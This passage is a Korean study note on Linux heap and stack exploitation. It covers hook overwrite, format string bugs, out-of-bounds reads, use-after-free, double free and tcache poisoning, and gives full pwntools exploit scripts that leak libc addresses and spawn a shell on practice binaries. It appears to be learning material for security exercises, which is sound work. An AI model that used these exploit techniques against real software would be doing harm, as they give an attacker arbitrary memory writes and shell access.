print('libc_base:', hex(libc_base))

##########
# CALC ADDR OF SYSTEM
##########
offset_system = libc.symbols['system']
addr_system = libc_base + offset_system
print('addr system:', hex(addr_system))

p.send(p64(addr_system) + b"/bin/sh\x00")

p.interactive()

Hook Overwrite

  • Hooking 이란 운영 체제가 특정 코드를 실행하려 할 때 다른 코드가 강제로 실행되도록 하는 기능이며, 이때 실행되는 코드를 Hook 이라 한다.
  • 시스템 상 정의되어 있는 Hook 을 원하는 형태로 덮어써서 수행하는 공격을 Hook Overwrite 라 한다.
  • libc.so 파일의 malloc 관련 함수들에 디버깅 편의를 위해 hook 이 미리 설정되어 있다.
    • __libc_malloc 함수를 살펴보면 __malloc_hook 함수가 있으면 이를 호출하도록 되어 있다.
    • free 함수와 realloc 함수들도 각각 __free_hook, __realloc_hook 함수가 hooking 되어있다.
    • __malloc_hooklibc.so 영역 안에 있으므로 writing 권한이 있는 라이브러리 영역이며, __malloc_hookHook Overwrite 공격을 수행하면 Full RELRO 기법으로 방어할 수 없다.
    • readelf -s 명령으로 libc.so 파일의 section 정보를 추출하고, __malloc_hook 함수의 index를 찾는다. 이후 readelf -S 혹은 objdump -h 명령으로 libc.so 파일의 section 들을 확인하여 해당 메모리 영역에 읽기/쓰기 권한이 있는지 확인 할 수 있다.
      • __malloc_hook, __free_hook, __realloc_hook 가 저장되는 영역이 bss 영역인 linux 버전에서는 Hook Overwrite가 가능하다.
      • __free_hook 이나 __malloc_hook 은 보안 및 성능 때문에 glibc 2.34 버전부터 제거되었다.

Free Hook Overload

  • free 함수에 적용된 __free_hook 를 덮어써서 exploit을 수행 해 본다.
  1. libc_base 주소 확인

    • main 함수는 보통 __libc_start_main 함수에서 호출되고, __libc_start_main 함수의 메모리 주소는 libc_base 이다.
    • main 함수의 스택 프레임을 확인하여 return address 를 추출한다. return address 는 __libc_start_main 함수의 어딘가를 가리킬 것이다.
      • gdb 로 exploit 대상 프로그램을 로딩하고, main 함수에 break point 를 걸고, run 명령으로 프로그램을 실행시킨다. pwndbg 플러그인이 설치된 gdb라면 bt 명령으로 stack 상 main 함수의 return address 가 확인된다.
      • 이 return address 를 x <주소> 명령으로 확인하면 __libc_start_main + α (임의의 값) 으로 표시된 것을 확인 할 수 있다.
    • readelf -s 명령으로 libc 라이브러리에서 __libc_start_main 함수의 offset 을 확인한다.
    • 위에서 얻어낸 결과들로 아래 계산식을 통해 libc_base 의 주소를 얻어낸다.
      • (main 함수의 return address) - (__libc_start_main 함수의 offset) - α = libc_base
  2. system 함수와 __free_hook 함수를 치환한다.

    • __free_hook 함수를 실행하면 system 함수가 실행되도록 hook 함수 주소를 변경한다.
  • 정리하자면
    • 조건:
      1. buffer overflow가 발생한다.
      2. 프로그램의 바이너리가 필요하다.
      3. 프로그램에서 free 함수를 호출하고, free 함수의 인자를 표준 입력으로 받는다.
      4. 프로그램에서 임의 주소에 임의 값을 덮어쓴다.
        scanf("%llu", &value);
        *addr = value;
        
        • got 를 수정할 수 없기 때문에 ROP 와 비교했을 때 조건이 하나 더 추가된다.
      5. main 함수의 stack framereturn address 추출이 가능해야 한다.
        • libc_base 를 확인하는데 사용하므로, 다른 방법으로 대체 가능
      6. 프로그램에 사용된 libc 라이브러리가 필요하다.
    • 단계:
      1. 바이너리를 gdb 로 분석하여 main 함수가 __libc_start_main 함수의 몇 번째 라인에서 호출되는지 확인한다.
      2. 프로그램의 ELF 를 확인하여 프로그램을 실행시키고, buffer overflow로 main 함수의 stack frame 에서 return address 값을 출력시킨다.
      3. 출력된 주소값으로 libc_base 를 구한다.
      4. libc_base 값으로 system, __free_hok 함수와 "/bin/sh" 문자열의 주소를 구한다.
      5. 조건 (4) 에 해당하는, ‘표준입력’ 을 받는 코드에서 __free_hook 함수의 symbol 주소에 system 함수의 symbol 주소를 대입한다.
      6. 프로그램에서 호출된 free 함수의 인자에 "/bin/sh" 문자열의 주소를 대입한다.
exploit 예시
from pwn import *

p = process('./fho')
e = ELF('./fho')
libc = ELF('./libc-2.27.so')

BUF_SIZE = 0x30

##########
# 1. leak memory of 'main' function
##########
payload = b'A' * (BUF_SIZE + 8 + 8 + 8) # BUFFER + other local variable + canary + SFP
p.sendafter('Buf: ', payload)

print(p.recvuntil(payload))  # payload 값 버리기
addr_main_return = u64(p.recvn(6).ljust(8,b'\x00'))  # main 함수의 stack frame 의 return 주소

##########
# 2. calculate offsets of '__libc_start_main' function
##########
# gdb 에서 확인 한 main 함수의 __libc_start_main 에서의 offset 은 231 이다
# 0x7ffff7a03c87 <__libc_start_main+231>:      mov    edi,eax

OFFSET_MAIN = 231 
ADDR_LIBC_START_MAIN = addr_main_return - OFFSET_MAIN  # __libc_start_main 함수의 주소

# readelf -s 명령으로 확인한 __libc_start_main 의 offset 은 0x021b10 였다.
# 2203: 0000000000021b10   446 FUNC    GLOBAL DEFAULT   13 __libc_start_main@@GLIBC_2.2.5
# OFFSET_LIBC_START_MAIN = libc.symbols['__libc_start_main']
OFFSET_LIBC_START_MAIN = 0x21b10
libc_base = ADDR_LIBC_START_MAIN - OFFSET_LIBC_START_MAIN
addr_system = libc.symbols['system'] + libc_base  # libc_base 에 offset 합산
addr_free_hook = libc_base + libc.symbols['__free_hook']  # libc_base 에 offset 합산
addr_bin_sh = libc_base + next(libc.search(b'/bin/sh'))  # libc에 위치한 "/bin/sh" 문자열의 위치 추출 후 주소 계산

print('libc_base:', hex(libc_base),  '\naddr_free_hook:', hex(addr_free_hook), '\naddr_system:', hex(addr_system), '\naddr_bin_sh:', hex(addr_bin_sh))


##########
# 3. get shell
##########

# stack 에 값을 직접 채워넣을때는 p64() 함수로 패키징을 한 binary 데이터를 전달헀지만,
# 프로그램에서 정상적으로 변수에 값을 집어게 할 때는 string 형태로 변환해야 한다

input1 = str(addr_free_hook).encode()
print(p.recvuntil('To write: '))
p.sendline(input1)  # input1
input2 = str(addr_system).encode()
print(p.recvuntil('With: '))
p.sendline(input2)  # input2
# 코드상 input1(__free_hook) 의 주소를 input2(system) 의 주소로 변경시켜줌

input3 = str(addr_bin_sh).encode()
print(p.recvuntil('To free:'))
p.sendline(input3)  # __free_hook 함수는 __free_hook(arg1) 형태로 동작하므로, arg1 에 "bin/sh" 를 넣어서 system("/bin/sh") 를 만든다.

p.interactive()

Out Of Bound

  • C 언어에서는 배열을 참조할 때 [] 연산자를 사용한다.
  • 하지만 C 언어 컴파일러는 [] 연산자 사용시 배열의 범위를 벗어났는지 체크하지 않고, boundary check 는 오직 개발자의 몫이다.
  • [] 연산자 사용시 boundary check 가 미흡한 코드가 있다면, boundary 를 벗어나는 index 를 넣어 코드의 특정 메모리를 참조할 수 있고, 이러한 공격을 OOB(out of bound) 라 한다.
  • 예를 들어, 아래 코드를 실행한다고 하자.
    char* secret = "SECRET KEY";
    char[] arr = {"name", "age", "phone", "address"};
    int idx;
    
    scanf("%d", &idx);
    printf("%s", arr[idx]);
    
    • 변수 idx 에 대한 boundary check 가 되어있지 않아 idx 값을 원하는 대로 넣어 같은 주변의 메모리를 참조할 수 있게 된다.
    • 실행 될 때 stack 을 예로 들면 아래와 같은 형태가 될 것이다.
      01:0008│-038 0x7fffffffdec8 —▸ 0x555555558040 (secret) ◂— 'SECRET KEY\n'
      02:0010│-030 0x7fffffffded0 —▸ 0x55555555602d ◂— 'name'
      03:0018│-028 0x7fffffffded8 —▸ 0x555555556041 ◂— 'age'
      04:0020│-020 0x7fffffffdee0 —▸ 0x55555555604d ◂— 'phone'
      05:0028│-018 0x7fffffffdee8 —▸ 0x55555555605b ◂— 'address'
      
    • arr[0]0x7fffffffded0 주소에 해당하고, arr[-1]0x555555558040 주소에 해당하는 값을 반환 한다.
    • idx 에 -1 을 넣으면 개발자가 의도하지 않은 변수 값인 secret 변수의 값 “SECRET KEY” 문자열이 출력되게 할 수 있다.

FSB (Format String Bug)

  • C 언어에서 문자열을 처리하는 함수 중 f로 끝나는 함수들은 대부분 format string 을 처리하는 함수이다.
  • format string 이란, %d %s %u 처럼 문자열에 변수를 특정 형식으로 매핑 해 놓은 형태를 의미한다.
  • format string 을 처리하는 함수는 format string 이 필요로 하는 변수의 갯수를 확인하는 과정이 별도로 없어, 해커들이 이를 이용해 의도하지 않은 변수들을 추가로 출력/입력 하도록 조작할 여지를 만든다.
  1. printf 를 통한 exploit
  • 조건:
    • printf(변수) 형태의 printf 구문 (argument가 한개)
    • 취약한 printf 구문이 두 번 이상 호출되어야 함
    • 프로그램의 바이너리 있어야 함
  • printf 함수는 출력을 위한 함수이지만, %n 형태의 format string 을 사용하면 입력도 받는 기능이 있다.
  • exploit 절차는 다음과 같다.
    1. gdb 를 사용해 바이너리를 분석하여 ELF 로 랜덤하게 배정된 코드 영역의 base 주소를 확인하고 main 함수의 시작 offset 을 구한다.

      • vmmap 명령어로 메모리 영역을 출력 했을 때, 메모리상 코드 영역의 시작부분을 확인한다. (아래 예시에서는 0x555555554000 에 해당)

                      Start                End Perm     Size Offset File
          0x555555554000     0x555555555000 r--p     1000      0 /home/aswinblue/download/fsb/fsb_overwrite
          0x555555555000     0x555555556000 r-xp     1000   1000 /home/aswinblue/download/fsb/fsb_overwrite
          0x555555556000     0x555555557000 r--p     1000   2000 /home/aswinblue/download/fsb/fsb_overwrite
          0x555555557000     0x555555558000 r--p     1000   2000 /home/aswinblue/download/fsb/fsb_overwrite
          0x555555558000     0x555555559000 rw-p     1000   3000 /home/aswinblue/download/fsb/fsb_overwrite
          0x7ffff7dcb000     0x7ffff7ded000 r--p    22000      0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
          0x7ffff7ded000     0x7ffff7f65000 r-xp   178000  22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
        
      • start 명령으로 프로그램을 실행시키면 main 함수의 주소가 확인된다. (아래 예시에서는 0x555555555290)

        ──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
        ► 0x555555555290 <main>       endbr64
          0x555555555294 <main+4>     push   rbp
          0x555555555295 <main+5>     mov    rbp, rsp
        
      • 앞서 vmmap 명령으로 구한 코드 영역의 시작 주소 0x555555554000main 함수의 주소 0x555555555290 를 뺀 차이 0x1290 가 코드 영역에서 main 함수의 offset 이 된다.

    2. 추출이 필요한 target 변수의 메모리 주소를 확인한다.

      • 리눅스 명령어 readelf -s 로 추출이 필요한 변수의 offset 을 확인 할 수 있다.
      • 이번 예시에서는 changeme 가 target 변수이다.
        74: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND exit@@GLIBC_2.2.5
        75: 000000000000401c     4 OBJECT  GLOBAL DEFAULT   26 changeme
        76: 0000000000004010     0 OBJECT  GLOBAL HIDDEN    25 __TMC_END__
        77: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
        
      • target 변수의 offset 은 0x000000000000401c 이므로 (1) 에서 구한 code_base 의 주소를 더해주면 target 변수의 주소는 0x555555554000 + 0x401c = 0x55555555801c 이다.
      • (1) 과정에서 main 함수의 시작 주소가 0x555555555290 였으므로, main 함수와 target 변수의 주소 차이는 0x2D8C 이다.
    3. stack 상에서 main 함수의 주소를 찾는다.

      • start 명령으로 프로그램을 실행시키고 main 함수가 printf 함수를 호출하는 시점까지 실행시킨다. (printf@plt 호출 직전까지 실행해야 하며, disass main 명령어로 printf@plt 호출 부분을 확인할 수도 있다.)
      • tele 명령으로 스택 프레임의 return address 값을 확인해 stack 상에 입력된 main 함수의 주소를 찾을 수 있다.
        pwndbg> tele 20
        00:0000│ rdi rsi rsp 0x7fffffffdef0 ◂— 'aaaaaaaa'
        01:0008│-028         0x7fffffffdef8 —▸ 0x555555555300 (main+112) ◂— add al, ch
        02:0010│-020         0x7fffffffdf00 ◂— 0x0
        03:0018│-018         0x7fffffffdf08 —▸ 0x555555555120 (_start) ◂— endbr64
        
      • rsp + 8 영역에 main + 112(0x555555555300) 가 들어있음을 확인 할 수 있다.
      • target 변수와 main 함수는 0x2D8C = 11660 만큼 차이가 나므로, rsp + 8 영역의 주소 0x55555555530011660 - 112 를 더하면 target 변수의 주소가 된다.
      • 즉, printf 를 호출하기 직전 rsp[8] + 11548 값은 target 변수의 메모리 주소 값이 됨을 알 수 있다.
        • ELFASLR 이 적용되어도 함수 및 변수의 상대적인 주소는 일정하므로 gdb 로 미리 확인하고 pwntool 로 공격이 가능하다.
    4. printf 의 취약점을 활용하여 필요한 메모리 영역을 추출한다.

      • printf 는 format string 을 첫 번째 인자(rdi)로 받고, 두 번째 이상 부터는 format string 에서 호출 될 변수들을 인자로 받는다.
        • printf("%1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p %9$p"); 호출시 결과는 rsi, rdx, rcx, r8, r9, rsp[0], rsp[0x08], rsp[0x10] 에 들어있는 값이 출력된다.
        • PLT/GOT 참조
      • 6번째 변수부터 stack 의 값을 참조하도록 되어있으므로 stack 에 들어있는 메모리 주소를 출력하도록 할 수도 있게 된다.
      • rsp[8]printf 상에서 %7$p 에 해당한다. (메모리 주소 출력을 해야하므로 ‘%p’ 를 사용했다.)
      • printf("%7$p"); 를 호출하도록 코드를 짜고, 출력된 값에서 + 11548 을 더하면 target 변수의 주소를 추출 해 낼 수 있다.
    5. printf 의 취약점을 활용하여 메모리 영역에 값을 덮어쓴다.

      • 추출된 메모리 영역에 값을 덮어 쓰려면, format string 의 %n 기능을 이용한다.
        • printf("%s%n"); 은 %s 에서 출력된 문자의 길이만큼 %n 에 기록한다.
        • printf 참조
        • 버퍼의 크기가 크지 않아도 큰 수를 %n 에 담으려면 format string 의 width 설정을 이용한다.
          • printf("%30p") 는 출력되는 길이가 30 이하라면 모자란 영역을 공백으로 채운다.
      • 종합하면 1337 을 target 변수에 덮어쓰고 싶다면, "%1337s%8$n......" 이후에 target 변수의 주소 를 이어붙인 문장을 printf 가 출력하게 하면 된다.
        • %1337s%8$n 은 rsp[0x10] 의 주소에 1337 값을 넣는 용도이다.
        • ...... + target 변수의 주소 부분은 x64 구조의 시스템에서는 rsp[0x10] 위치에 target 변수의 주소 가 오도록 패딩을 넣은 문자열이다.
        • 프로그램 상에서 read 함수 호출에서 받은 데이터가 rsp 에 쌓이고 printf 를 호출할 때 까지 rsp 에 유지됨을 gdb 로 확인 했기에 rsp[0x10] 에 데이터를 넣을 계획을 세운 것이다.
  • pwntool 을 사용한 코드 예시이다.
    from pwn import *
    p = process("./fsb_overwrite")
    elf = ELF('./fsb_overwrite')
    ##########
    # 1. get address of 'main + 112' from stack
    ##########
    # send FSB payload
    p.sendline(b"%7$p")
    addr_leak = int(p.recvline()[:-1], 16)
    
    ##########
    # 2. calculate address main+112 in stack
    ##########
    # calculate address of 'main' function
    addr_main = addr_leak - 112
    print('addr_main:', hex(addr_main))
    # calculate address of target variable 'changeme'
    # 'changeme' is 11660 away from 'main'
    # addr_changeme = addr_main + 11660
    addr_changeme = addr_main + (elf.symbols['changeme'] - elf.symbols['main'])
    
    print('offset main:', hex(elf.symbols['main']))
    print('offset changeme:', hex(elf.symbols['changeme']))
    print('addr_changeme:', hex(addr_changeme))
    
    ##########
    # 3. overwrite 'changeme' variable 
    ##########
    payload = b"%1337c%8$n".ljust(16,b'A')
    payload += p64(addr_changeme)
    print('payload:', payload)
    # 1337 길이의 어떤 문자를 출력하고(무슨 문자가 될지는 모름)
    # 1337을 rsp[0x18] 에 덮어쓰게 하기 위해 16자리까지는 FSB 유발 데이터 + dummy string 으로 채우고
    # 17자리부터 24자리까지 changeme 변수의 주소로 채운다.
    # 이렇게 되면 stack 에서 rsp[0] ~ rsp[16] 까지는 FSB 유발 데이터 + dummy string 이 들어가고
    # rsp[17] ~ rsp[24] 까지는 changeme 변수의 주소가 담기게 된다.
    p.sendline(payload)
    
    p.interactive()
    

Use-After-Free

  • 메모리를 해제하느라 free 를 호출하면 free 함수는 메모리를 ptmalloc 에 반환할 뿐, 메모리 영역을 초기화 하거나 포인터를 초기화 하지는 않는다.

  • free 함수를 호출 한 이후 포인터는 dangling pointer 가 되어 해제된 chunk 영역을 가리키게 된다.

  • dangling pointer 를 활용하여 해제된 메모리에 접근하여 발생할 수 있는 보안 취약점을 UAF(Use-After-Free) 라 하며, dangling pointer 가 가리키는 메모리가 해제되기 전에 담고 있었던 데이터가 유출 될 수 있다.

  • unsortedbin 의 첫 chunk 는 libc 영역의 특정 구역과 연결된다. 즉, 첫 chunk 의 fdbk 영역에는 libc 영역의 주소가 기록된다는 점을 활용하여 libc_base 를 확인할 수 있다. ptmalloc 참조

  • exploit 조건

    1. unsortedbin 에 들어갈 수 있는 크기의 heap 을 할당 할 수 있어야 한다.
    2. heap 을 원할 때 해제 할 수 있어야 한다. (unsorted bin 의 chunk 와 top chunk 와 붙지 않게 조절 필요)
    3. uaf 취약점이 있어야 한다. (heap 에서 함수 포인터 주소를 읽어 실행하는 구문 존재)
    4. 실행파일 및 소스코드 확보
  • exploit 방법

    1. libc_base 와 특정 메모리의 fd 혹은 bk 간 거리(index) 를 찾아낸다.

      • gdb에서 프로그램을 실행시킨 후 메모리를 할당하고 해제하여 unsortedbin 영역에 chunk 를 생성시키고, heap 명령으로 그 chunk 의 fdbk 영역의 메모리를 추출한다. (1024 이상 메모리 할당 필요)
      Free chunk (largebins) | PREV_INUSE
      Addr: 0x555555559290
      Size: 0x510 (with flag bits: 0x511)
      fd: 0x7ffff7fb8010
      bk: 0x7ffff7fb8010
      fd_nextsize: 0x555555559290
      bk_nextsize: 0x555555559290
      
      • vmmap 을 사용해 libc_base 의 주소를 확인한다. (예시에서는 0x7ffff7dcb000)
       0x555555559000     0x55555557a000 rw-p    21000      0 [heap]
       0x7fff4d31f000     0x7ffff7dcb000 rw-p aaaac000      0 [anon_7fff4d31f]
       0x7ffff7dcb000     0x7ffff7ded000 r--p    22000      0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
       0x7ffff7ded000     0x7ffff7f65000 r-xp   178000  22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
       0x7ffff7f65000     0x7ffff7fb3000 r--p    4e000 19a000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
       0x7ffff7fb3000     0x7ffff7fb7000 r--p     4000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
       0x7ffff7fb7000     0x7ffff7fb9000 rw-p     2000 1eb000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
       0x7ffff7fb9000     0x7ffff7fbf000 rw-p     6000      0 [anon_7ffff7fb9]
       0x7ffff7fc9000     0x7ffff7fcd000 r--p     4000      0 [vvar]
      
      • libc_base 주소에서 fd 에 저장된 주소를 빼고, 96 의 offset을 추가로 빼서 libc_base 와 fd 가 가리키는 주소 index 를 찾는다. 0x7ffff7fb8010 - 0x7ffff7dcb000 = 0x1ED010
      • index 는 상대적인 값이므로 프로그램일 다시 실행시켜 libc_base 의 메모리 주소가 랜덤하게 변경되어도, index 는 변하지 않는다.
    2. exploit 에 사용할 ROP chain 을 구한다.

      • one-gadget 을 이용할 수도 있다. libc 파일을 one-gadget으로 분석하면 아래와 같다.
        $ one_gadget /lib/x86_64-linux-gnu/libc.so.6
        
        0xe3afe execve("/bin/sh", r15, r12)
        constraints:
          [r15] == NULL || r15 == NULL || r15 is a valid argv
          [r12] == NULL || r12 == NULL || r12 is a valid envp
        
        0xe3b01 execve("/bin/sh", r15, rdx)
        constraints:
          [r15] == NULL || r15 == NULL || r15 is a valid argv
          [rdx] == NULL || rdx == NULL || rdx is a valid envp
        
        0xe3b04 execve("/bin/sh", rsi, rdx)
        constraints:
          [rsi] == NULL || rsi == NULL || rsi is a valid argv
          [rdx] == NULL || rdx == NULL || rdx is a valid envp
        
        • 이후 gdb 에서 i r 명령으로 레지스터 상황을 보고 조건에 맞는 one-gadget 을 선택한다.
        i r
        i r
        rax            0xfffffffffffffe00  -512
        rbx            0x3                 3
        rcx            0x7ffff7ed91f2      140737352929778
        rdx            0x5555513f          1431654719
        rsi            0x7fff4d31f010      140734488506384
        rdi            0x0                 0
        rbp            0x7fffffffdee0      0x7fffffffdee0
        rsp            0x7fffffffdeb8      0x7fffffffdeb8
        r8             0x6                 6
        r9             0x6                 6
        r10            0x555555556073      93824992239731
        r11            0x246               582
        r12            0x555555555140      93824992235840
        r13            0x7fffffffdff0      140737488347120
        r14            0x0                 0
        r15            0x0                 0
        rip            0x7ffff7ed91f2      0x7ffff7ed91f2 <__GI___libc_read+18>
        eflags         0x246               [ PF ZF IF ]
        cs             0x33                51
        ss             0x2b                43
        ds             0x0                 0
        es             0x0                 0
        fs             0x0                 0
        gs             0x0                 0
        
    • 문제 해결 예제 코드
      from pwn import *
      
      DUMMY_DATA = 'A'
      OFFSET = 0x3ebca0
      ONE_GADGET = 0x10a41c
      
      # p = process('a.out', env= {"LD_PRELOAD" : "libc-2.27.so"})
      
      # alloc1
      p.sendlineafter(b"> ", b'3')
      p.sendlineafter(b"Size:", b'1280')
      p.sendafter(b"Data:", DUMMY_DATA.encode())
      p.sendlineafter(b"idx:", b'-1')
      
      # alloc2 & free alloc1
      p.sendlineafter(b"> ", b'3')
      p.sendlineafter(b"Size:", b'1280')
      p.sendafter(b"Data:", DUMMY_DATA.encode())
      p.sendlineafter(b"idx:", b'0')
      
      # alloc 3 (reuse chunk of 'alloc1')
      p.sendlineafter(b"> ", b'3')
      p.sendlineafter(b"Size:", b'1280')
      p.sendafter(b"Data:", DUMMY_DATA.encode())
      
      p.recvuntil(b'Data: ')
      fd = u64(p.recvline()[:-1].ljust(8, b'\x00'))  # fd 값 추출
      
      p.sendlineafter(b"idx:", b'-1') # 잔여 과정 처리
      
      print('fd:', hex(fd))
      offset = OFFSET + ord(DUMMY_DATA) - (OFFSET&0xFF)  # 덮어쓴 DUMMY_DATA값을 고려하여 계산한다.
      print('offset:', hex(offset))
      libc_base = fd - offset  # 유출된 fd 값으로 libc_base 값 계산
      print('libc_base:', hex(libc_base))
      gadget = libc_base + ONE_GADGET
      print('gadget:', hex(gadget))
      
      # alloc struct1
      p.sendlineafter(b"> ", b'1')
      p.sendlineafter(b"Weight:", b'1')
      p.sendlineafter(b"Age:", str(gadget).encode())  # 특정 구역에 gadget 주입
      
      # alloc struct2
      p.sendlineafter(b"> ", b'2')
      p.sendlineafter(b"Weight:", b'1')
      # struct1 의 Age 영역이 strucut2 구역서는 함수 포인터이다. 아까 주입한 gadget 이 실행된다.
      
      p.interactive()                         
      

Doubly Free Bug

  • ptmalloc2 시스템에서 이미 free 를 호출하여 tcachebins 에 포함된 chunk 를 한번 더 free 하여 취약점을 발생시키는 공격 기법이다.
  • 공격자가 임의의 주소를 read / write / execute 할 수 있고, Denial of Service 도 수행할 수 있다.
  • 특정 포인터에 대해 free 를 호출한 후 초기화를 하지 않으면 dangling pointer 가 생성된다. dangling pointer 를 한 번 더 free 하게 되면 tcachebin 에 동일한 내용의 새로운 chunk 가 추가된다.
    1. alloc
        bins      heap
         -      [chunk1]
    
    2. free
        bins      heap
      [chunk1]      -
    
    3. free again
        bins      heap
      [chunk1]      -
      [chunk1]
    
    4. alloc same size
        bins      heap
      [chunk1]   [chunk1]
    # 같은 주소 영역이 bin 과 heap 에 둘다 존재
    # heap 영역에 있는 [chunk1] 의 fd 위치와 bk 위치를 조작하면 bins 에 임의의 주소를 추가할 수 있다.
    
    • glibc 2.26에서 많이 사용된 공격 기법이지만, 최신 libc 에서는 중복 free 를 방지하는 코드가 있어, 우회하지 않으면 프로그램이 자동으로 종료된다.
      • free 된 chunk 들은 chunk + 8 영역에 tcache_entry 구조체를 갖게 된다.
      • tcache_entry 는 free 할 때 tcache_perthread 값으로 설정되고, 할당 될 때 다시 초기화 된다.
        • tcache_perthread 는 thread 마다 갖고 있는 구조체로, tcache 에 배정된 chunk list 를 관리한다.
      • chunk 를 free 할 때 chunk 의 tcache_entry 부분이 tcache_perthread 와 일치하지 않으면 보호기법을 우회할 수 있다.
      #include <stdio.h>
      #include <stdlib.h>
      
      int main() {
        void *chunk = malloc(0x20);
        printf("Chunk to be double-freed: %p\n", chunk);
        free(chunk);
        *(char *)(chunk + 8) = 0xff;  // tcache_entry 구조체(chunk->key) 의 주소를 오염시킨다.
        free(chunk);                  // 변조를 했기 때문에 한 번 더 free 가 가능하다.
        printf("First allocation: %p\n", malloc(0x20));
        printf("Second allocation: %p\n", malloc(0x20));
        return 0;
      }
      

Tcache Poisoning

  • Doubly Free Bug 취약점을 활용하여 tcache 를 조작하는 공격 기법이다.

  • 2회 이상 free 된 chunk 를 재할달 하면 임의 주소에 chunk 를 할당시키는 (tcache 조작) 할 수 있다.

    • AAR(Arbitrary Address Read) : 임의의 주소를 읽을 수 있음
    • AAW(Arbitrary Address Write) : 임의의 주소에 쓸 수 있음
  • exploit 방법은 아래와 같다.

    • 조건:

      1. double free 취약점 존재
      2. 실행파일 및 소스코드 확보
      3. 코드상 stdout 호출
        • stdout 은 libc 에 정의된 값으로, 코드상에서 이를 호출하면 .bss 영역에 libc 영역을 가리키는 주소 _IO_2_1_stdout_ 가 담기게 된다.
    • 절차:

      1. AAR(Arbitrary Address Read) 로 libc_base 주소를 추출한다.
      2. AAW(Arbitrary Address Write) 로 hook 을 overwrite 한다.
        • readelf -s 로 __free_hook 의 주소를 찾는다.
          221: 00000000003ed8e8     8 OBJECT  WEAK   DEFAULT   35 __free_hook@@GLIBC_2.2.5
          
    • 문제 해결 예제코드

      from pwn import *
      
      PROGRAM = 'tcache_poison'
      PAYLOAD = 'A'
      GADGET = 0x4f432
      
      p = process(PROGRAM)
      e = ELF(PROGRAM)
      lib = ELF('libc-2.27.so')
      
      ###############
      # 1. Doubly free memory
      ###############
      # alloc chunk1
      p.sendlineafter(b'Edit\n', b'1')
      p.sendlineafter(b'Size:', b'50')
      p.sendafter(b'Content:', PAYLOAD.encode())
      
      # tcache: (*) -> NULL
      # --------------------------
      
      # free chunk1
      p.sendlineafter(b'Edit\n', b'2')
      
      # tcache: (*) -> chunk1
      # --------------------------
      
      # edit chunk1 (already freed)
      p.sendlineafter(b'Edit\n', b'4')
      p.sendafter(b'Edit chunk:', b'A' * 8 + b'\x00')  # corrupt tcache_entry to free again
      
      # free chunk1 again <- Doubly Free Bug
      p.sendlineafter(b'Edit\n', b'2')
      # 이제 tcache 에는 동일한 메모리 주소를 가리키는 두 개의 chunk 가 생겼다.
      # tcache: (*) -> chunk1 -> chunk1
      # --------------------------
      
      ###############
      # 2. Poison tcache 
      ###############
      offset_stdout = e.symbols['stdout']
      print('offset_stdout:', hex(offset_stdout))
      
      p.sendlineafter(b'Edit\n', b'1')
      p.sendlineafter(b'Size:', b'50')
      p.sendafter(b'Content:', p64(offset_stdout))
      
      
      # tcache: (*) -> chunk1 -> stdout -> _IO_2_1_stdout_ -> ... 
      # --------------------------
      
      # pop chunk1 from  tcache
      p.sendlineafter(b'Edit\n', b'1')
      p.sendlineafter(b'Size:', b'50')
      p.sendafter(b'Content:', PAYLOAD.encode())
      
      # tcache: (*) -> stdout -> _IO_2_1_stdout_ -> ... 
      # --------------------------
      
      # pop stdout
      # stdout 의 실제 값에 영향을 주지 않고 프로그램 로직을 통해 tcache 에서 stdout 를 pop 하려면
      # _IO_2_1_stdout_ 값을 그대로 write 해주면서 alloc 을 해야한다. 
      # 전체를 write 하는 대신 마지막 byte 하나만 덮어써도 문제 없다.
      lsb_of__IO_2_1_stdout_ = p64(lib.symbols['_IO_2_1_stdout_'])[0:1] # least significant byte of _IO_2_1_stdout_
      p.sendlineafter(b'Edit\n', b'1')
      p.sendlineafter(b'Size:', b'50')
      p.sendafter(b'Content:', lsb_of__IO_2_1_stdout_)
      print('lsb_of__IO_2_1_stdout_:', lsb_of__IO_2_1_stdout_)
      
      # tcache: (*) -> _IO_2_1_stdout_ -> ... 
      # --------------------------
      
      ###############
      # 3. leak address into stdout
      ###############
      p.sendlineafter(b'Edit\n', b'3')
      p.recvuntil(b'Content: ')
      addr_stdout = u64(p.recv(6).ljust(8, b'\x00'))
      
      print('addr_stdout:', hex(addr_stdout))
      libc_base = addr_stdout - lib.symbols['_IO_2_1_stdout_']
      print('libc_base:', hex(libc_base))
      
      ###############
      # 4. overwrite __free_hook
      ###############
      offset_free_hook = lib.symbols['__free_hook']
      print('offset_free_hook:', hex(offset_free_hook))
      addr_free_hook = libc_base + offset_free_hook
      print('addr_free_hook:', hex(addr_free_hook))
      
      # 앞서 수행한 것 처럼, doubly free memory 를 한번 더 발생시킨다.
      # chunk1 과 다른 크기의 메모리를 할당해야 함에 주의한다
      # Doubly free memory
      # alloc chunk2
      p.sendlineafter(b'Edit\n', b'1')
      p.sendlineafter(b'Size:', b'80')
      p.sendafter(b'Content:', PAYLOAD.encode())
      
      # tcache: (*) -> NULL
      # --------------------------
      
      # free chunk2
      p.sendlineafter(b'Edit\n', b'2')
      
      # tcache: (*) -> chunk2
      # --------------------------
      
      # edit chunk2 (already freed)
      p.sendlineafter(b'Edit\n', b'4')
      p.sendafter(b'Edit chunk:', b'A' * 8 + b'\x00')  # corrupt tcache_entry to free again
      
      # free chunk2 again <- Doubly Free Bug
      p.sendlineafter(b'Edit\n', b'2')
      # 이제 tcache 에는 동일한 메모리 주소를 가리키는 두 개의 chunk 가 생겼다.
      # tcache: (*) -> chunk2 -> chunk2
      # --------------------------
      
      # Poison tcache 
      p.sendlineafter(b'Edit\n', b'1')
      p.sendlineafter(b'Size:', b'80')
      p.sendafter(b'Content:', p64(addr_free_hook))
      
      # tcache: (*) -> chunk2 -> __free_hook -> ...
      # --------------------------
      
      # pop chunk1 from  tcache
      p.sendlineafter(b'Edit\n', b'1')
      p.sendlineafter(b'Size:', b'80')
      p.sendafter(b'Content:', PAYLOAD.encode())
      
      # tcache: (*) -> __free_hook -> ... 
      # --------------------------
      
      # pop __free_hook & overwrite __free_hook with gadget
